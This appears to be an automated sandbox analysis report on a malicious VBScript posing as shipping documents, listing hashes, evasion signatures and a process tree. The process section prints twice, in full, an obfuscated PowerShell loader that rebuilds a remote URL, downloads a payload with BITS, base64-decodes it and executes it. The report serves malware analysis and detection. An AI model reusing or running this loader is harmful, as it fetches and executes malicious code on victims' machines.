Analysis
-
max time kernel
150s -
max time network
130s -
platform
windows10-1703_x64 -
resource
win10-20230703-en -
resource tags
arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system -
submitted
12/07/2023, 10:25
Static task
static1
Behavioral task
behavioral1
Sample
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
Resource
win10-20230703-en
Behavioral task
behavioral2
Sample
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
Resource
win10v2004-20230703-en
General
-
Target
SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs
-
Size
5KB
-
MD5
0bbe430413435af44cd3af7dd542d158
-
SHA1
b17fef7aa7714e8324d48750ebd21aa826d9f60c
-
SHA256
d6d6d837cf218e5f89c6eb733437a7a9f8fc74e43545409fd487c16d83808bed
-
SHA512
55c17fae57b17d46f50edcbbb176e484056cf629e7585eb3fa7db0263f0cbfab76d653d0589e7b0891abbfaf919438b17f30e25cbfa832491009445ca3c2437b
-
SSDEEP
96:bDW4xFZiEBpDD/tIPLC0kn5afwKFdKuFf3Tr/wL7Bb+cXfU49U5BAPA0p4:bjx/13DtIPLb6KfFfH/gw5CXy
Malware Config
Signatures
-
Checks QEMU agent file 2 TTPs 1 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
description ioc Process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4060 powershell.exe 4060 powershell.exe 4060 powershell.exe 4888 powershell.exe 4888 powershell.exe 4888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4060 powershell.exe Token: SeDebugPrivilege 4888 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3176 wrote to memory of 4060 3176 WScript.exe 71 PID 3176 wrote to memory of 4060 3176 WScript.exe 71 PID 4060 wrote to memory of 4888 4060 powershell.exe 73 PID 4060 wrote to memory of 4888 4060 powershell.exe 73 PID 4060 wrote to memory of 4888 4060 powershell.exe 73
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING_COPY_DOCUMENTS-QRYTR-282737-OLSKJWEJ_127KB_00000002822333333.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sprg9 ([String]$Sydyemene4){$Sidingsku=$Sydyemene4.toCharArray();For($Propolis46=5; $Propolis46 -lt $Sidingsku.count-1; $Propolis46+=(5+1)){$rufulousna+=$Sidingsku[$Propolis46]};$rufulousna;}$Volu=Sprg9 ' WankhCeliotSchelt malep Fagu:Opspa/Obtai/ Skol9March1Sacra.gertr2Woolm4 Redu4 Snig. Alec1Misal9 Drin7concu. Impe9 Llin/LabounOmkoseSpracwnyhed/TndstUunpronIsidosMellelSkatt. DumpjdiplaaSternvSophraFempe ';$rufulousna01=Sprg9 ' TilsiSpksteBarbexBesom ';$Telo = Sprg9 'Wagne\Iconos poiny Kabes CambwBrassoCarbowfulfi6Super4Judic\AfmnsW Aflaistregnhypomd OveroPhospw UtopsKrapfP Ansto AlpiwFestfe BoggrAsphyS antih CaraePensil AntalHekse\Emeliv Erhv1 Baue.Taskm0Modif\BraunpUdtnkoHumanwUddykeCharer QuilsafstihMelipeAfhorlRomtol Besy. PreaeHusarx Socie Solv ';.($rufulousna01) (Sprg9 ' Hejs$BuldeTRevera AviliEtatslFlyvso Bals2 Hype= Foru$ Quilekompln Trisv Subr:Diariw FuseiAmanin BanadAurorifraterBlodf ') ;.($rufulousna01) (Sprg9 'Uddat$ FlawT Conte ArchlCarisoMarkr= Duef$GraniT OrddatommeiAeroplRansaoMckee2 Beas+Escap$ RhopT KonseFertil PuntoExoto ') ;.($rufulousna01) (Sprg9 'Deter$RibbeS AlnivNondea SeafrDixiesBismek GenbrSucce semio= shov unde( Rmet(Blitzg SkinwOversmshinwiFordr kvadw KystiContun Klen3 Deku2 Brne_ OverpUnresr Vegeo ThrecSemiheAntimsMothwsJoggi Trygh-NgaioF Unga DawnPAltarr GenfoUnhelcSenateKotowsAntiasvillaIViscidRejse=Udbls$ Tilh{UndefP MistIStemmD Noxi} Morp)Prveu.VelkeCRewaroDivismLineam Aguaa Duodn progd PsitL SammiTheomnMidfre Drag)Esdra part-Pastis JulepSirell Tilsi PejltFrost Norma[Craftc Skolh Hecta Anaer Tiko] Udto3 Ooph4 Udga ');.($rufulousna01) (Sprg9 ' Fugl$ CampaSkyttfmolinsaarhukFromeeDekladSnildsGrfab Trip= Ring Rispe$JegerS SunbvPlumeaMomskr RegisUnconkBenstr Over[ Data$efterSVesicv RetsaAksiorCreossKonomk SinorSaffa.Ughs c bosso TousuChairnTypehtForda-Airdr2Chlor]Orang ');.($rufulousna01) (Sprg9 'Skrid$PhospWStenba Landd dauniNatioo PostpLeucomWindbu UnbanForeltDsigh= Kern(bydefTOnaneekondosFlourtOffse- OverPUnlina PanetElforh tran Subge$ AngiT Vaske LunglIndsko Belb)Espie Disco-VrktjAPreben Eased Phil Tandh(Dobbe[ AntiIUnclenTittutBndelP MisltBriber Bern]Bediz:Bight:BistasOpruliSubinz Bambe ampe Emne-BiogreMors qSylla Probl8Posta) Rumi ') ;if ($Wadiopmunt) {.$Telo $afskeds;} else {;$rufulousna00=Sprg9 ' MarkS ElevtSuggea ElekrConset Dels-TuggeB Mesoi StratBiogrs DesiTConchr IdeaaDysgenAngoss FeltfAnmele Outbr Hipp Jule-SekslSSinoloFremsu Strir Counc SimoeUncin pret$RepulV caskoCorral HexauUrger Haplo-TubfiDLimemeBrydesLocaltDesiniSansen HenfaCampit Anali StveoPachyn Shar Subco$ SlatTCrossaKorali SikklParagoTelev2 Spec ';.($rufulousna01) (Sprg9 'Bortf$FanliT NanoaGyse i VinnlKaryoo Home2Tuber=Skjol$HaunteRattlnLatesvSkval:outtha PlanpEpeirp MeladHandla SolotTaktlaUnpre ') ;.($rufulousna01) (Sprg9 ' VersIMerchmScrippSamfro Histr EjentDamec-BlaamMZonuloPannadBestyu StrilHalefe Bass IndsiBOeer i GlostBinapsDactyT KendrAfganarangsnUndersPhaeofMestreIsolerPrein ') ;$Tailo2=$Tailo2+'\Geadepha.Tri';while (-not $gvinkele) {.($rufulousna01) (Sprg9 'Minim$Demong Finav Intei SeminInappk HandeTintnl PriseOpsli= Dekl( HirpT Rumse Gotrs HalvtComme- VandP BekvaHarputTeca hFrowa Char$ DiphTAmuttaRygkliMrkedlSawbao cock2 Diso)Troll ') ;.($rufulousna01) $rufulousna00;.($rufulousna01) (Sprg9 ' itseSBivuatSholeaSignarSkilltBassi-SeamaS AnchlSortee IngeeSphenpaouad Hjemm5Risen ');}.($rufulousna01) (Sprg9 ' Affe$ StrmS ObjepFejemr PilogDrive stets=svejs calcGHandwe kongtClach- BengCHjlndo FejlnRetrotDebuteVandbn StictBagta Genne$ChalyTTonesa UskniInfoll ObtuoHstpa2Spado ');.($rufulousna01) (Sprg9 'Laant$InhalK AtheoKujonnCampskSutoru OpfibPrema Aksel=Alkal centr[ KompS Muriy Spers Marst Berbe Gorkm Flas.OveraCAmmesoMyocon Assyv Lepte Rmmer Ddmat Impu]Sasch:Under: SydaFTidssrHumidoOpvismKerneBLysrea EnewsSlagpeSamse6 Sent4FourtSTillrt Resir Anchi Terrn Glung Elev(Alleg$ArchhSRewasp EurorKyu SgHusma)Curar ');.($rufulousna01) (Sprg9 'Pighe$ FraprSkrivuGotchfEnebouBaccalinvoko UdfluFlancs HjlpnCoasta Kake2 Dump Inka=Veste ges [FortjSbruniy langs Tyktt biolePyrommArbor.CarriTArbeje Antox ClautCalvi.talloE Bentn BalecOpkoboGlasudMeloti UdvenHomozgsympa]Subsu: Eksp:VaderACoquiS KundCAlluvI SecrIBoxer.BladhGHetere Recot AchiS Halvt quinr Patti JegsnFalmegBleph( repr$SeiyuKInquaoRedpon Fritk Skudu DensbUsand)Sextu ');.($rufulousna01) (Sprg9 'Impas$ TronP UngteKvindrGennecDuran1Curia2Conce1 Apes=Tagre$frostr Blafu GgehfLegaru armbl lednopapilu SanisFornunKrebia Enke2 Humm.DeipasLowliuPyraubStadssYakutt Knarr TabeiDibranDdssyg Kali(Sortk2Catas0Norte2 Kiru2 Ford4 Velb7rille, sigt2 Snke5 Cass0 folk5Letva2Compl) Gaar ');.($rufulousna01) $Perc121;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Sprg9 ([String]$Sydyemene4){$Sidingsku=$Sydyemene4.toCharArray();For($Propolis46=5; $Propolis46 -lt $Sidingsku.count-1; $Propolis46+=(5+1)){$rufulousna+=$Sidingsku[$Propolis46]};$rufulousna;}$Volu=Sprg9 ' WankhCeliotSchelt malep Fagu:Opspa/Obtai/ Skol9March1Sacra.gertr2Woolm4 Redu4 Snig. Alec1Misal9 Drin7concu. Impe9 Llin/LabounOmkoseSpracwnyhed/TndstUunpronIsidosMellelSkatt. DumpjdiplaaSternvSophraFempe ';$rufulousna01=Sprg9 ' TilsiSpksteBarbexBesom ';$Telo = Sprg9 'Wagne\Iconos poiny Kabes CambwBrassoCarbowfulfi6Super4Judic\AfmnsW Aflaistregnhypomd OveroPhospw UtopsKrapfP Ansto AlpiwFestfe BoggrAsphyS antih CaraePensil AntalHekse\Emeliv Erhv1 Baue.Taskm0Modif\BraunpUdtnkoHumanwUddykeCharer QuilsafstihMelipeAfhorlRomtol Besy. PreaeHusarx Socie Solv ';.($rufulousna01) (Sprg9 ' Hejs$BuldeTRevera AviliEtatslFlyvso Bals2 Hype= Foru$ Quilekompln Trisv Subr:Diariw FuseiAmanin BanadAurorifraterBlodf ') ;.($rufulousna01) (Sprg9 'Uddat$ FlawT Conte ArchlCarisoMarkr= Duef$GraniT OrddatommeiAeroplRansaoMckee2 Beas+Escap$ RhopT KonseFertil PuntoExoto ') ;.($rufulousna01) (Sprg9 'Deter$RibbeS AlnivNondea SeafrDixiesBismek GenbrSucce semio= shov unde( Rmet(Blitzg SkinwOversmshinwiFordr kvadw KystiContun Klen3 Deku2 Brne_ OverpUnresr Vegeo ThrecSemiheAntimsMothwsJoggi Trygh-NgaioF Unga DawnPAltarr GenfoUnhelcSenateKotowsAntiasvillaIViscidRejse=Udbls$ Tilh{UndefP MistIStemmD Noxi} Morp)Prveu.VelkeCRewaroDivismLineam Aguaa Duodn progd PsitL SammiTheomnMidfre Drag)Esdra part-Pastis JulepSirell Tilsi PejltFrost Norma[Craftc Skolh Hecta Anaer Tiko] Udto3 Ooph4 Udga ');.($rufulousna01) (Sprg9 ' Fugl$ CampaSkyttfmolinsaarhukFromeeDekladSnildsGrfab Trip= Ring Rispe$JegerS SunbvPlumeaMomskr RegisUnconkBenstr Over[ Data$efterSVesicv RetsaAksiorCreossKonomk SinorSaffa.Ughs c bosso TousuChairnTypehtForda-Airdr2Chlor]Orang ');.($rufulousna01) (Sprg9 'Skrid$PhospWStenba Landd dauniNatioo PostpLeucomWindbu UnbanForeltDsigh= Kern(bydefTOnaneekondosFlourtOffse- OverPUnlina PanetElforh tran Subge$ AngiT Vaske LunglIndsko Belb)Espie Disco-VrktjAPreben Eased Phil Tandh(Dobbe[ AntiIUnclenTittutBndelP MisltBriber Bern]Bediz:Bight:BistasOpruliSubinz Bambe ampe Emne-BiogreMors qSylla Probl8Posta) Rumi ') ;if ($Wadiopmunt) {.$Telo $afskeds;} else {;$rufulousna00=Sprg9 ' MarkS ElevtSuggea ElekrConset Dels-TuggeB Mesoi StratBiogrs DesiTConchr IdeaaDysgenAngoss FeltfAnmele Outbr Hipp Jule-SekslSSinoloFremsu Strir Counc SimoeUncin pret$RepulV caskoCorral HexauUrger Haplo-TubfiDLimemeBrydesLocaltDesiniSansen HenfaCampit Anali StveoPachyn Shar Subco$ SlatTCrossaKorali SikklParagoTelev2 Spec ';.($rufulousna01) (Sprg9 'Bortf$FanliT NanoaGyse i VinnlKaryoo Home2Tuber=Skjol$HaunteRattlnLatesvSkval:outtha PlanpEpeirp MeladHandla SolotTaktlaUnpre ') ;.($rufulousna01) (Sprg9 ' VersIMerchmScrippSamfro Histr EjentDamec-BlaamMZonuloPannadBestyu StrilHalefe Bass IndsiBOeer i GlostBinapsDactyT KendrAfganarangsnUndersPhaeofMestreIsolerPrein ') ;$Tailo2=$Tailo2+'\Geadepha.Tri';while (-not $gvinkele) {.($rufulousna01) (Sprg9 'Minim$Demong Finav Intei SeminInappk HandeTintnl PriseOpsli= Dekl( HirpT Rumse Gotrs HalvtComme- VandP BekvaHarputTeca hFrowa Char$ DiphTAmuttaRygkliMrkedlSawbao cock2 Diso)Troll ') ;.($rufulousna01) $rufulousna00;.($rufulousna01) (Sprg9 ' itseSBivuatSholeaSignarSkilltBassi-SeamaS AnchlSortee IngeeSphenpaouad Hjemm5Risen ');}.($rufulousna01) (Sprg9 ' Affe$ StrmS ObjepFejemr PilogDrive stets=svejs calcGHandwe kongtClach- BengCHjlndo FejlnRetrotDebuteVandbn StictBagta Genne$ChalyTTonesa UskniInfoll ObtuoHstpa2Spado ');.($rufulousna01) (Sprg9 'Laant$InhalK AtheoKujonnCampskSutoru OpfibPrema Aksel=Alkal centr[ KompS Muriy Spers Marst Berbe Gorkm Flas.OveraCAmmesoMyocon Assyv Lepte Rmmer Ddmat Impu]Sasch:Under: SydaFTidssrHumidoOpvismKerneBLysrea EnewsSlagpeSamse6 Sent4FourtSTillrt Resir Anchi Terrn Glung Elev(Alleg$ArchhSRewasp EurorKyu SgHusma)Curar ');.($rufulousna01) (Sprg9 'Pighe$ FraprSkrivuGotchfEnebouBaccalinvoko UdfluFlancs HjlpnCoasta Kake2 Dump Inka=Veste ges [FortjSbruniy langs Tyktt biolePyrommArbor.CarriTArbeje Antox ClautCalvi.talloE Bentn BalecOpkoboGlasudMeloti UdvenHomozgsympa]Subsu: Eksp:VaderACoquiS KundCAlluvI SecrIBoxer.BladhGHetere Recot AchiS Halvt quinr Patti JegsnFalmegBleph( repr$SeiyuKInquaoRedpon Fritk Skudu DensbUsand)Sextu ');.($rufulousna01) (Sprg9 'Impas$ TronP UngteKvindrGennecDuran1Curia2Conce1 Apes=Tagre$frostr Blafu GgehfLegaru armbl lednopapilu SanisFornunKrebia Enke2 Humm.DeipasLowliuPyraubStadssYakutt Knarr TabeiDibranDdssyg Kali(Sortk2Catas0Norte2 Kiru2 Ford4 Velb7rille, sigt2 Snke5 Cass0 folk5Letva2Compl) Gaar ');.($rufulousna01) $Perc121;}"3⤵
- Checks QEMU agent file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a